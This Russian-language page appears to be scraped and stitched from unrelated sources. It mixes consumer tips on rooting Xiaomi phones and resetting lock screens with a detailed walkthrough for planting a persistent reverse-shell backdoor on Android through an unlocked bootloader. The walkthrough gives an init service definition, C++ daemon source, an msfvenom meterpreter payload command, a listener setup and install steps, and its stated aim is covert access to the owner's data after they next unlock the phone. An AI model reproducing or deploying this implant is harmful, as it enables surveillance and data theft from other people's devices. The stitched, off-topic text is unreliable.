Как разблокировать root на android

Нелегальные root-права и magisk

Я назвал предыдущий подход к получению root-прав «легальным», потому что всё необходимое для этого было намеренно заложено в систему на этапе сборки. Совершенно иной подход использует инструмент для получения root-прав magisk, ставший, де-факто, стандартным инструментом для этих целей в сообществе любителей android. Magisk устанавливается на любые устройства, на любые сборки, на любые версии android, и не только на отладочные варианты сборки, но и на релизные, и даже на те устройства, на которых применяются дополнительные защиты от несанкционированного получения root-прав. Magisk по полной эксплуатирует разблокированный загрузчик и, по сути, совершает настоящий изощрённый взлом за что и будем его называть его «нелегальным». Для нас наиболее важно то, что magisk, по сути, делает всё тоже что хотим сейчас сделать мы. Он закрепляется в системе также, как хотим закрепиться мы, а значит, похоже, что нам с ним по пути.

Для начала постараемся выяснить как magisk получает root-права в рантайме. На устройстве выполняем:

$ adb shell
$ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
$ su
# id
uid=0(root) gid=0(root) groups=0(root) context=u:r:magisk:s0
# ps -Zef
LABEL                          UID            PID  PPID C STIME TTY          TIME CMD
u:r:init:s0                    root             1     0 1 09:17 ?        00:00:01 init
u:r:magisk:s0                  root           658     1 0 09:24 ?        00:00:00 magiskd
u:r:zygote:s0                  root           695     1 1 09:24 ?        00:00:01 zygote64
u:r:zygote:s0                  root           696     1 0 09:24 ?        00:00:00 zygote
u:r:adbd:s0                    shell          956     1 1 09:25 ?        00:00:01 adbd --root_seclabel=u:r:su:s0
u:r:platform_app:s0:c512,c768  u0_a39        2800   695 4 09:35 ?        00:00:07 com.android.systemui
u:r:priv_app:s0:c512,c768      u0_a120       3909   695 1 10:26 ?        00:00:01 com.android.launcher3
u:r:untrusted_app:s0:c113,c25+ u0_a113       5218   695 1 10:48 ?        00:00:00 com.topjohnwu.magisk
u:r:shell:s0                   shell         5473   956 0 10:56 pts/0    00:00:00 sh -
u:r:magisk_client:s0           shell         5602  5473 0 10:59 pts/0    00:00:00 su
u:r:magisk_client:s0:c113,c25+ u0_a113       5629  5218 0 10:59 ?        00:00:00 su --mount-master
u:r:magisk:s0                  root          5633   658 0 10:59 ?        00:00:00 busybox sh
u:r:magisk:s0                  root          5708   658 0 11:02 pts/1    00:00:00 sh
u:r:magisk:s0                  root          5795  5708 7 12:49 pts/1    00:00:00 ps -Zef

Я сократил вывод команды ps только до тех значений, которые нас интересуют.

Во-первых, мы видим что magisk имеет специальный контекст для своих процессов — u:r:magisk:s0. Наша оболочка с root-правами имеет терминал pts/1 и запущена с этим контекстом. Это явно не встроенный в систему контекст, а значит magisk смог его отредактировать и внедрить дополнительные правила перед запуском процесса init. Поскольку, наши root-права работают, и мы действительно можем делать в системе всё что угодно, контекст u:r:magisk:s0 должен иметь как минимум все те же разрешения, которые прописаны для u:r:su:s0, а может и больше.

Во-вторых, magisk имеет свой демон запущенный в системе – magiskd, он породил наш процесс с рутовым шеллом, а значит именно через него magisk и даёт другим процессам доступ с оболочке с root-правами, этот демон (PID 658) порождён процессом init (PPID 1), т.е. запущен как системный сервис. Демон также работает в контексте u:r:magisk:s0.

Мы подключились по adb и получили шелл на устройстве, терминал pts/0. Видно что процесс sh имеет контекст u:r:shell:s0, PID 5473 и PPID 956 который равен значению PID adbd, а сам adbd уже был порождён процессом init.

Мы вызываем исполняемый файл su и видим что его контекст – u:r:magisk_client:s0, следовательно magisk использует отдельный контекст для того, чтобы знать какие именно исполняемые файлы могут запрашивать доступ к root-правам. Исполняемый файл провоцирует открытие окна подтверждения доступа к root-правам для обычного shell, оно находится в пакете приложения MagiskManager — com.topjohnwu.magisk, получив результатат magiskd (PID 658) породил нам нашу оболочку sh с новым терминалом pts/1 (PID 5708, PPID 658), от которой мы отнаследовали и пользователя root (uid=0), и всемогущий контекст u:r:magisk:s0. 

Для нас интересно вот что: если init запускается со своим ограниченным со всех сторон контекстом u:r:init:s0 из которого разрешены transition’ы только в прописанные в *.te файлах контексты для системных служб, а демон маджиска имеет контекст u:r:magisk:s0, значит magisk смог внедрить правило разрешающее прямой transition из u:r:init:s0 в u:r:magisk:s0. Это значит что и мы можем использовать контекст u:r:magisk:s0 в своём сервисе!

Получение удалённого доступа

Для android существует популярная полезная нагрузка в Metasploit фреймворке которая теоретически может дать нам удалённый доступ к устройству – android/meterpreter/reverse_tcp, однако с ней есть проблемы:

  • Она поставляется в виде обычного приложения. Мы технически не можем установить в android приложение в зашифрованное хранилище, плюс даже если бы могли, это явный шанс скомпрометировать себя, т.к. приложение будет видно в лаунчере и в списке установленных приложений в настройках, а если на устройстве пользователя установлено одно из антивирусных решений, то оно может задетектить его как вирус по публично доступным признакам. Мы можем пересобрать его изменив сигнатуры или даже внедрить в какое-нибудь другое приложение, но сути это не поменяет. 

  • Она была рассчитана на более старые версии android и часть её функций может не работать на современных версиях системы. Некоторые её возможности требуют подтверждения руками системных диалогов с разрешениями, некоторые просто не заведутся.

  • Она работает как обычное непривилегированное приложение, а значит ни к чему особо доступ иметь не может. Если на системе нет root-прав, то мы сможем получить только файлы из общего хранилища и только после подтверждения пользователем диалога с разрешением что автоматически выдаст нас. Если на системе есть root-права, то получить их мы сможем только после явного подтверждения диалога с разрешением. Мы могли бы руками отредактировать базу данных magisk для внесения себя в список приложений которым доступен root и отключить для себя логирование и уведомления о предоставлении root-доступа, но для этого нам нужно отредактировать файл из внутренней директории приложения, а она зашифрована. 

  • Будучи обычным приложением она будет попадать под управление жизненным циклом, система в лучшем случае будет отправлять её в сон в doze-mode, в худшем – просто убьёт и перезапустить её будет некому. Умер процесс приложения – умер и процесс агента, поскольку является дочерним процессом приложения. 

Для того, чтобы агент мог без проблем поддерживать себя постоянно запущенным, не отсвечивать в операционной системе и не попадать под регулирования и ограничения для установленных приложений, необходимо оформить его в виде системного сервиса — демона. 

Для того, чтобы понять как именно это сделать, нужно вернуться к процессу загрузки системы, однако теперь мы верхнеуровнево рассмотрим оставшуюся её часть происходящую сразу после рассмотренного в начале boot flow, т.е. когда загрузчик загрузил раздел boot, отработал механизм verified boot и система получила добро на запуск:

  • Ядро и ramdisk распаковывается в оперативную память, и загрузчик запускает ядро.

  • Ядро стартует, инициализирует устройства, драйверы и т.д. и монтирует ramdisk в корень файловой системы. Ramdisk содержит минимальный набор файлов необходимых для запуска пользовательской части системы. Бинарник init, минимальный скрипт init.rc для него, точки монтирования разделов: /system, /vendor и др. и информацию об устройствах которые необходимо в них смонтировать. Вот тут описаны примеры содержания ramdisk для разных версий android. 

  • Далее процесс может проходить по нескольким сценариям, но в целом, конечная цель работы ядра на этапе загрузки – запустить исполняемый файл init, который продолжит загрузку системы уже не в пространстве ядра, а в пространстве пользователя. 

  • Первое что делает процесс init сразу после запуска — загружает скомпилированные политики SELinux и применяет их. SELinux — это механизм ядра для принудительного контроля доступа, пришедший в android из RedHat-подобных дистрибутивов. Мы ещё вернёмся к нему и рассмотрим его более подробно.

  • Далее процесс init парсит скрипт init.rc из ramdisk, который содержит список действий которые необходимо совершить для успешной загрузки системы, а также какие ещё .rc скрипты необходимо загрузить. Android использует свой формат скриптов для загрузки компонентов системы.

  • После отработки всех скриптов мы получаем полностью запущенную систему.

Судя по всему, для внедрения в систему в качестве демона нам потребуется подготовить исполняемый файл с полезной нагрузкой и описать системный сервис, который будет его вызывать. 

Исходный init.rc импортирует дополнительные скрипты из нескольких директорий, в том числе и основного источника этих скриптов из системного раздела: /system/etc/init/.rc, поэтому мы подготовим свой скрипт и поместим его туда.

Синтаксис .rc скриптов несложный, он хорошо описан здесь, а ещё можно подглядеть в то, как именно он устроен просто заглянув в файлы в вышеупомянутой директории.

Подготовим описание нашего сервиса:

service revshell /system/bin/revshell
    disabled
    shutdown critical
 
on property:sys.boot_completed=1
    start revshell

Укажем название сервиса revshell.

Путь к исполняемому файлу будет лежать в стандартной директории для бинарников в android. Агента мы поместим именно туда.

disabled означает то, что его не нужно загружать непосредственно в процессе загрузки системы сразу после обработки скрипта. Мы будем стартовать сервис специальным триггером, который ориентруется на объявление проперти sys.boot_completed.

shutdown critical означает то, что сервис критический и не должен убиваться даже при подаче сигнала о выключении системы.

План таков: система запустит нашего агента при загрузке до попадания на экран ввода кода разблокировки. Агент ожидает расшифровки файловой системы. После того как владелец устройства введёт код разблокировки, агент запускает reverse-shell и предоставляет нам доступ в систему с возможностью достать любые файлы.

На системный сервис не распространяются правила OOM-киллера и правила энергосбережения, он не будет остановлен если в системе заканчивается память, или она уснёт. В случае завершения процесса сервиса по любой причине, система будет его рестартовать не позднее чем через 5 секунд. Даже в случае если сервис не может запуститься и его процесс падает, система никогда на бросит попыток его запустить и будет продолжать делать это пока продолжает работать. 

Выглядит как раз как то что нам нужно, однако тут нашим ожиданиям суждено встретиться с суровыми реальностями организации безопасности в android. Если мы попытаемся установить сервис подобным образом, то система его проигнорирует, а dmesg сообщит нам что-то похожее на это:

avc: denied { transition } scontext=u:r:init:s0 tcontext=u:object_r:system_file:s0

Установка Root на Xiaomi A-серии

Получение рут-прав на Xiaomi A-серии (Mi A1, A2 и A3) ничем не отличается от телефонов с MIUI. Требуется разблокированный загрузчик, установка рекавери TWRP и заранее скачанный ZIP-пакет с Magisk. Не стоит забывать о приложении Magisk Manager и его обновлении. Пошаговые инструкции приведены выше по тексту.

Можно использовать те же KingRoot или Framaroot на самом смартфоне. Однако процент успеха в этом случае будет невелик. С Xiaomi серии А даже проще работать, поскольку на этих телефонах установлен чистый Android.

Root-права позволяют полноценно пользоваться смартфоном и настраивать его. Однако не нужно забывать, что у рутированных телефонов Xiaomi есть недостатки в плане безопасности. Если это вас не пугает – смело устанавливайте рут.

Вот такое how-to по root получилось. Если есть что дополнить или хотите поправить, обязательно пишите в комментариях.

Пользуемся сервисом Google

Пожалуй, это был бы лучший способ снятия блокировки с экрана Android устройства, если бы не пара нюансов.

  1. Стираются все пользовательские данные из внутреннего хранилища.
  2. Смартфон должен иметь доступ к Интернету.

Сам сервис называется «Find My Phone» и помогает найти утерянное устройство, а также предотвратить к нему доступ или утечку данных. Итак, если есть возможность подключиться к сети (включить мобильные данные и Wi-Fi можно даже в заблокированном состоянии), то повторяем следующие действия:

Шаг 1. Переходим на эту страницу и вводим свои данные от аккаунта Google.

Как разблокировать root на android

Шаг 2. Выбираем нужное нам устройство из списка (если их несколько) и нажимаем на раздел «Erase Device».

Как разблокировать root на android

Шаг 3. Развернется небольшое меню с предупреждениями о том, что все данные будут удалены и прочее. Мы об этом уже знаем и просто жмем на зеленую кнопку «Erase Device».

Как разблокировать root на android

Шаг 4. Далее снова подтверждаем действие и ожидаем окончания процесса. На этом этапе Google может попросить снова зайти в аккаунт, чтобы подтвердить свою личность.

Дополнительно:  Где можно получить root-доступ для 64-гигабайтного Samsung Galaxy Note 8?

Как устроено шифрование хранилища

Для начала разберёмся как устроено шифрование хранилища, потому что это самое труднопреодолимое препятствие для изъятия данных. Шифрование применяется на уровне файловой системы. Существует два основных подхода к организации шифрования:

  • FDE – full-device-encryption – полнодисковое шифрование. Это значит что всё устройство хранения зашифровано, и даже загрузка операционной системы невозможна до его расшифровки. Поэтому в этом случае владельцу устройства для работы с ним сначала, ещё до загрузки операционной системы, необходимо ввести ключ с помощью которого хранилище будет расшифровано и только потом произойдёт загрузка системы. Такой подход требовал «двойной» загрузки системы, сначала в минимальном варианте для показа формы ввода пароля, а потом в полноценном, после расшифровки хранилища. Он применялся на некоторых устройствах с версиями android 5-7, однако на современной версии ОС и современных устройствах не используется

  • FBE – file-based-encryption – шифрование отдельных частей файловой системы. Применительно к android зашифрованы только те части системы, где хранятся данные пользователя. Незашифрованным остаются ядро, системный раздел, и т.д. Строго говоря, проще перечислить то, что зашифровано, а зашифрованы только /data/data и /data/media. Все остальные части системы остаются незашифрованными. Это позволяет операционной системе успешно загружаться до экрана авторизации пользователя, стартовать системные сервисы и accessibility сервисы, принимать SMS. Начиная с android 7 и переходом на FBE появилось Directboot API, которое даёт приложениям возможность запускаться и в ограниченном режиме работать до ввода кода разблокировки и расшифровки файловой системы. FBE позволяет сочетать высокие стандарты защиты данных в хранилище и отличный пользовательский опыт. Пользователь не отвлекается на ввод дополнительного пароля до запуска системы, система не тратит ресурсы на шифрование и расшифровку частей файловой системы где не содержится личных данных владельца. Это современный подход, который используется на современных устройствах и является обязательным для всех новых устройств, начиная с android 9.

  • BFU (before first unlock) – до первого ввода кода разблокировки

  • AFU (after first unlock) – после первого ввода кода разблокировки

До первого ввода кода разблокировки данные пользователя всегда зашифрованы, после первого ввода – всегда расшифрованы. Даже когда пользователь в дальнейшем нажимает кнопку питания или система сама уходит в сон, то данные, с точки зрения ОС, больше не переходят в зашифрованное состояние, теперь их защищает только экран блокировки. В android пока не предусмотрен механизм очищения ключей для расшифровки файловой системы из памяти после определённого периода неактивности.

Это значит, что если после того, как устройство было разблокировано хотя бы однажды подключиться к нему, например по adb, то пользовательские данные будут доступны и можно получить к ним доступ даже если экран заблокирован.

Вот так выглядит общее хранилище до первого ввода кода разблокировки:

# ls -la /data/media/0/                                                                                                                                  
total 100
drwxrwx--- 13 media_rw media_rw 4096 2021-01-29 10:45 .
drwxrwx---  4 media_rw media_rw 4096 2021-01-29 10:43 ..
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 3aIg6706qnt+JRerXQc,9B
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 5RxSnwRfzXH5JsgykyuneB
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 9QCg2626EAEHNRc,IpjzjC
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 XLrhnulSzxYVPwgkHhs8YC
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:45 ZC6kM5uXi6,coHL+OYgLCB
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 kJJ0DN8Tmhcs7hicwcEZ3A
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 mPaCm6PJHF9,MyimVTRozC
drwxrwxr-x  3 media_rw media_rw 4096 2021-01-29 10:43 qIkgta78EOvsfnjupFXQ+C
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 uAP,C13tjXpxdP8PWVeMRD
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 v33cOjp,wu+hlgBIWnQdjB
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 xxjD9tk7bDh9XZUzoDwMbB

А вот так после:

# ls -la /data/media/0/                                                                                                                                   
total 100
drwxrwx--- 13 media_rw media_rw 4096 2021-01-29 10:45 .
drwxrwx---  4 media_rw media_rw 4096 2021-01-29 10:43 ..
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 Alarms
drwxrwxr-x  3 media_rw media_rw 4096 2021-01-29 10:43 Android
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 DCIM
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 Download
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 Movies
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 Music
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 Notifications
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 Pictures
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 Podcasts
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:43 Ringtones
drwxrwxr-x  2 media_rw media_rw 4096 2021-01-29 10:45 bluetooth

На самом деле, шифрование хранилища – самая трудно преодолимая часть нашей задачи по извлечению данных. Обойти шифрование с ключами в аппаратном ТЕЕ никак не представляется возможным, но зато из этой информации следует несколько полезных выводов, а наша задача начинает формироваться в конкретные технические требования.

  • Во-первых, получать доступ к личным файлам пользователя в любом случае придётся только после ввода кода разблокировки. 

  • Во-вторых, разблокированный загрузчик даёт возможность переписывать системный раздел, а он никогда не зашифрован, даже в BFU состоянии.

Это подводит нас к мысли о том, что можно воспользоваться возможностью модифицировать никогда не шифруемую часть системы, внедрить в неё агента, который никак не затронет и не испортит зашифрованные данные, а в последствие даст нам доступ к ней после того как устройство будет возвращено пользователю и он сам первый раз введёт код разблокировки. Поскольку пользователь явно не будет вводить код разблокировки подключив устройство к нашему usb кабелю или находясь в нашей локальной сети, то использование adb нам не подходит и необходимо организовать удалённый доступ в формате reverse-shell.

Проверка Root-прав на смартфоне

Перед тем как получать права суперпользователя, стоит проверить, не установлен ли Root уже на телефоне Сяоми. Сделать это можно несколькими способами.

Метод 1: список приложений

Нужно посмотреть на главный экран смартфона или в список приложений. Если в списке имеются программы с названиями Magisk или SuperSU, то рут на этом телефоне точно установлен, поскольку они предназначены для управления правами суперпользователя.

Magisk Manager

Метод 2: практическая проверка

Запустите какое-либо приложение, способное работать с файловой системой ОС (например, ES Проводник). Если после запуска появится сообщение о том, что ему были предоставлены права суперпользователя, рут на месте.

Метод 3: программа Root Checker

Подходит не всем смартфонам. Можно установить приложение Root Checker (ссылка в Google Play) и запустить его.

Достаточно нажать на кнопку «Проверка ROOT». Программа просканирует ОС телефона и выдаст заключение, которое выглядит примерно так:

проверка рут прав

Метод 4: терминал

Работает только на старых смартфонах Xiaomi, которые были рутированы при помощи SuperSU.

Нужно открыть терминал (который устанавливается вместе с SuperSU), ввести в консоли su и нажать «Ввод». Если появится значок $, то рут-прав нет. А если #, то есть.

Внимание! При работе с терминалом нужно быть осторожным. Всего одна неправильная команда может повесить всю систему. В некоторых случаях даже придётся перепрошивать смартфон.

Если знаете другие способы проверить root-права на Xiaomi, обязательно напишите об этом в комментариях.

Внедряемся в систему с установленными root-правами

Внесём небольшое изменение, добавим в описание нашего демона seclabel который определяет какой SELinux контекст должен назначить init для запущенного системного сервиса:

service revshell /system/bin/revshell
    disabled
    seclabel u:r:magisk:s0
    shutdown critical
 
on property:sys.boot_completed=1
    start revshell

Подготовим исполняемый файл для демона и соберём его под arm64.

#pragma once

#include <cerrno>
#include <cstdarg>
#include <cstring>
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <dirent.h>
#include <pthread.h>
#include <signal.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <android/log.h>

#define LOG_TAG "revshell"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR,    LOG_TAG, __VA_ARGS__)
#define LOGW(...) __android_log_print(ANDROID_LOG_WARN,     LOG_TAG, __VA_ARGS__)
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO,     LOG_TAG, __VA_ARGS__)
#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG,    LOG_TAG, __VA_ARGS__)

#define ENCRYPTED_FS_CHECK_DIR "/data/data"
#define ENCRYPTED_FS_CHECK_PROOF "android"
#include "revshell.hpp"

bool check_fs_decrypted() {
    bool result = false;
    struct dirent *entry;
    DIR *dir = opendir(ENCRYPTED_FS_CHECK_DIR);
    if (dir == NULL) {
        return result;
    }
    while ((entry = readdir(dir)) != NULL) {
        if (strstr(entry->d_name, ENCRYPTED_FS_CHECK_PROOF)) {
            result = true;
        }
    }
    closedir(dir);
    return result;
}

int run_in_main_proc() {
    LOGD("Start successfull!\n");

    signal(SIGINT, SIG_IGN);
    signal(SIGHUP, SIG_IGN);
    signal(SIGQUIT, SIG_IGN);
    signal(SIGPIPE, SIG_IGN);
    signal(SIGCHLD, SIG_IGN);
    signal(SIGTTOU, SIG_IGN);
    signal(SIGTTIN, SIG_IGN);
    signal(SIGTERM, SIG_IGN);
    signal(SIGKILL, SIG_IGN);

    LOGD("Signals are set to ignore\n");

    int timer_counter = 0;
    int timer_step = 5;

    LOGD("Hey I'm a revshell process!\n");
    LOGD("My PID -- %d\n", getpid());
    LOGD("My parent PID -- %d\n", getppid());
    LOGD("My UID -- %d\n", getuid());
    LOGD("Awaiting encrypted FS decryption now...");

    while (true) {
        sleep(timer_step);
        timer_counter = (timer_counter + timer_step) % INT_MAX;
        if (check_fs_decrypted()) {
            LOGD("FS has been decrypted!");
            break;
        }
    }

    LOGD("Starting reverse shell now");
    while (true) {
        sleep(timer_step);
        timer_counter = (timer_counter + timer_step) % INT_MAX;
        LOGD("tick ! %d seconds since process started", timer_counter);
    }

    LOGD("Exit!\n");

    return 0;
}

int main(int argc, char *argv[]) {
    return run_in_main_proc();
}

Я использую именно такой подход для демонстрации работы, потому что так легко понять что сервис работает просто подключившись к logcat и почитав логи. Наш исполняемый файл работает следующим образом: запускается, скидывает в логи приветственное сообщение, далее он ожидает расшифровки хранилища, для этого он полагается на то что внутри директории с приватными хранилищами приложений появится запись содержащая строку «android», которая присутствует в имени пакета многих системных приложений, после этого он сбрасывает в логи запись о том что хранилище расшифровано и запускается reverse-shell, а дальше просто раз в пять секунд сбрасывает в логи сообщение о том что он запущен и работает.

Перезагрузимся в TWRP, смонтируем system и скопируем получившийся исполняемый файл в /system/bin/revshell, а скрипт демона в /system/etc/init/revshell.rc

Перезагружаем устройство и начинаем слушать логи:

$ adb logcat | grep revshell

Когда система загрузилась, и показался экран ввода кода разблокировки видим в логах следующее:

01-31 23:42:07.587  3589  3589 D revshell: Start successfull!
01-31 23:42:07.588  3589  3589 D revshell: Signals are set to ignore
01-31 23:42:07.588  3589  3589 D revshell: Hey I'm a revshell process!
01-31 23:42:07.588  3589  3589 D revshell: My PID -- 3589
01-31 23:42:07.588  3589  3589 D revshell: My parent PID -- 1
01-31 23:42:07.588  3589  3589 D revshell: My UID -- 0
01-31 23:42:07.588  3589  3589 D revshell: Awaiting encrypted FS decryption now...

Отлично, хранилище ещё не расшифровано, но демон успешно запустился и работает, трюк с seclabel u:r:magisk:s0 сработал!

Вводим код разблокировки и видим в логах:

01-31 23:42:27.597  3589  3589 D revshell: FS has been decrypted!
01-31 23:42:27.597  3589  3589 D revshell: Starting reverse shell now
01-31 23:42:32.597  3589  3589 D revshell: tick ! 25 seconds since process started
01-31 23:42:37.598  3589  3589 D revshell: tick ! 30 seconds since process started
01-31 23:42:42.599  3589  3589 D revshell: tick ! 35 seconds since process started
01-31 23:42:47.600  3589  3589 D revshell: tick ! 40 seconds since process started

Посмотрим, через adb запущенные процессы и увидим там наш демон:

$ adb shell
$ ps -Zef | grep revshell                                                                                                    
u:r:magisk:s0                  root          3589     1 0 23:42:06 ?     00:00:00 revshell
u:r:shell:s0                   shell         5546  5495 1 23:48:21 pts/0 00:00:00 grep revshell

Он запущен процессом init, как системный сервис, убить его без root-прав мы не можем:

$ kill -9 3589
/system/bin/sh: kill: 3589: Operation not permitted

А убив его c root-правами, увидим что он тут же был перезапущен системой, потому что именно так система поступает с критическими системными сервисами:

$ su
# kill -9 3589
# ps -Zef | grep revshell                                                                                                    
u:r:magisk:s0                  root          5592     1 0 23:51:34 ?     00:00:00 revshell
u:r:magisk:s0                  root          5601  5573 5 23:52:08 pts/1 00:00:00 grep revshell

Отлично. Это уже похоже на успех. У нас получилось внедрить исполняемый файл, который может открыть нам удалённый доступ к устройству прямо в смартфон с зашифрованным хранилищем. Мы смогли его запустить и нам не пришлось разблокировать смартфон, не пришлось ничего расшифровывать. Достаточно было знать об особенностях шифрования хранилища в смартфонах и о возможностях которые дал нам разблокированный загрузчик.

Однако пока что мы полагаемся на права, которые нам предоставил SELinux контекст маджиска, а для извлечения данных нам необходимо уметь запустить такой же демон, но на любом устройстве, в том числе на устройстве без root-прав.

Проверяем на реальном устройстве

Ловить удалённое подключение от устройства будем на Kali в виртуалке. Для этого на ней сгенерируем пейлоад:

$ msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=<LISTENER_IP> LPORT=<LISTENER_PORT> -f elf > revshell

И настроим слушатель:

$ msfconsole -q
> use exploit/multi/handler
> set PAYLOAD payload/linux/aarch64/meterpreter/reverse_tcp
> set LHOST <LISTENER_IP>
> set LPORT <LISTENER_PORT>
> run -j

После этого возвращаемся на хост машину.

$ git clone https://github.com/LuigiVampa92/unlocked-bootloader-backdoor-demo.git
$ cd unlocked-bootloader-backdoor-demo

Исполняемый файл по пути revshell/revshell заменим на нагрузку сгенерированную в Kali. После этого приступим к сборке.

Создадим для скрипта сборки переменную окружения, указывающую на абсолютный путь к android-sdk (зависит от вашей операционной системы):

$ ANDROID_SDK_ROOT=/usr/lib/android-sdk
$ export ANDROID_SDK_ROOT

Подготавливаем NDK для сборки. Это нужно сделать именно через установочный скрипт, т.к. скрипту будет нужен отдельный изолированный инстанс NDK для сборки и рассчитывать он будет именно на него:

$ ./buildrevshell.py ndk
$ ./buildrevshell.py

Собранные пакеты будут лежать в директории out. 

Переходим к установке.

Сперва перезагружаем устройство в режим fastboot. На разных устройствах это делается по-разному. В большинстве случаев необходимо выключить устройство, зажать одну из физических кнопок регулирования громкости (например кнопку прибавления громкости) и не отпуская её нажать на несколько секунд кнопку питания. 

$ fastboot boot twrp.img

Небольшое важное отступление. Я смог проверить работу только на устройствах которыми располагаю сам. Среди них были устройства на android 9 и 10, LineageOS 16 и 17, с классическим init как в старых системах и two-stage-init + system-as-root. Среди них не было устройств с system-as-root на android 9 и устройств с A/B партициями. Поэтому если конфигурация вашего устройства отличается, то на нём могут возникнуть непредвиденные проблемы. Я рекомендую сделать бэкапы важных разделов и сохранить их для того, чтобы иметь возможность восстановить их руками, в случае если что-то пойдёт не по плану.

Дополнительно:  How to set Logging Level with application.properties in Spring Boot

Обычно это будет раздел boot, сделать его бэкап после загрузки TWRP можно так:

$ adb shell
# ls -la /dev/block/by-name | grep boot                                                                                                                                                                         
lrwxrwxrwx 1 root root   16 1973-02-14 07:56 boot -> /dev/block/sde19
# dd if=/dev/block/sde19 of=/tmp/boot.img
131072+0 records in
131072+0 records out
67108864 bytes transferred in 0.429 secs (156430918 bytes/sec)
# ^D
$ adb pull /tmp/boot.img
/tmp/boot.img: 1 file pulled, 0 skipped. 35.8 MB/s (67108864 bytes in 1.785s)

Проверьте есть ли у вас отдельные разделы для DTB, для этого зайдите в adb shell и выполните:

$ ls -la /dev/block/by-name | grep dtb

Если увидите в списке dtb, dtbo и dtbs, то сделайте и их бэкапы тоже.

Ещё пара дежурных предупреждений: 

  • Пожалуйста производите все действия только на своём устройстве

  • Убедитесь что на устройстве нет важных данных которые страшно потерять

  • Все действия выполняются на ваш страх и риск

Поехали. Запускаем sideload через GUI (Меню/Advanced/Sideload) или из терминала:

$ adb shell 'twrp sideload'
$ adb sideload zip_reverse_shell_install.zip

Важно! Здесь в зависимости от того был ли на устройстве предварительно установлен magisk или нет будет пропатчен или не пропатчен boot раздел. Если на устройстве magisk ранее установлен не был, то необходимо будет сохранить бэкапы оригинальных разделов. Сделать это нужно обязательно, даже если предварительно сделали бэкапы руками, иначе удалять наш инструмент также придётся руками, потому что деинсталлятор будет полагаться на наличие именно этих бэкапов, именно в этом формате. В логе TWRP тоже вылезет большое предупреждение об этом.

Вытаскиваем бэкапы с устройства:

$ adb pull /tmp/backup_original_partitions .

Теперь можно выключить или перезагрузить устройство. 

Удаление с устройства производится в обратном порядке:

Перезагружаемся в fastboot

$ fastboot boot twrp.img

Если сохраняли бэкапы во время установки, то вызываем:

$ adb push backuporignialpartitions /tmp/backuporignialpartitions
$ adb shell 'twrp sideload'
$ adb sideload zip_reverse_shell_uninstall.zip

Как удалить рут-права с телефона

Если по какой-то причине права суперпользователя больше не нужны, можно убрать root-права с телефона. Для этого есть 2 варианта: первый основан на всё том же приложении Magisk, а второй является универсальным.

Отключение при помощи Magisk

Как отключить root доступ:

  1. Запустите Magisk при помощи соответствующей иконки.
  2. В главном окне тапните пункт «Удаление Magisk».
  3. Далее выберите «Полное удаление».

Во время проведения процедуры телефон перезагрузится. Вместе с приложением будет удалён root доступ на смартфоне.

Ручное удаление Root прав

Для этого способа нам понадобится какой-либо кастомный файловый менеджер. Например, Total Commander.

  1. Запустите Total Commander при помощи соответствующего ярлыка.
  2. Тапните по пункту «Корневая папка».
  3. Перейдите в каталог System.
  4. Выберите папку bin и удалите в ней файл с именем su.
  5. Вернитесь на шаг назад, перейдите в каталог xbin и также удалите файл su.
  6. Перезагрузите смартфон.

Ручное удаление Root прав на Xiaomi

После рестарта телефона права суперпользователя будут удалены с устройства.

Внимание! Есть программы для удаления рут-прав под названием Universal Unroot. Она позволяет удалить рут с любого смартфона всего за несколько тапов. Это удобно, и утилита находится в свободном доступе в Google Play (ссылка), но она платная.

Чтобы откатить Root в MIUI, нужно установить стоковую официальную прошивку.

Снимаем блокировку с помощью ADB

Данный метод уникален тем, что позволяет сбросить пароль, не затрагивая никаких личных данных, хранящихся на устройстве. Все приложения, фотографии, документы и другой контент останется в целостности, мы повлияем только на несколько файлов в системе, которые и отвечают за установленный метод блокировки экрана.

Следует отметить, что данный способ будет работать, только если выполняются следующие условия:

  • В настройках активирован режим «Для разработчиков».
  • Включена функция «Отладка по USB».
  • Присутствует root-доступ.

Также, скорее всего все следующие действия сработают только для смартфонов/планшетов под управлением ОС Android 5.1 и ниже. Можно попробовать и на более свежих выпусках (6.0+), но 100% работоспособность не гарантируется, так как, скорее всего, Google «прикрыла» эту фишку.

Для начала устанавливаем сам пакет ADB.

Шаг 1. Переходим на официальный сайт по этой ссылке и скачиваем необходимые инструменты нажатием на «Download SDK Platform-Tools for Windows» (есть также версии для Mac и Linux).

Как разблокировать root на android

Шаг 2. Принимаем соглашения и нажимаем на кнопку загрузки.

Как разблокировать root на android

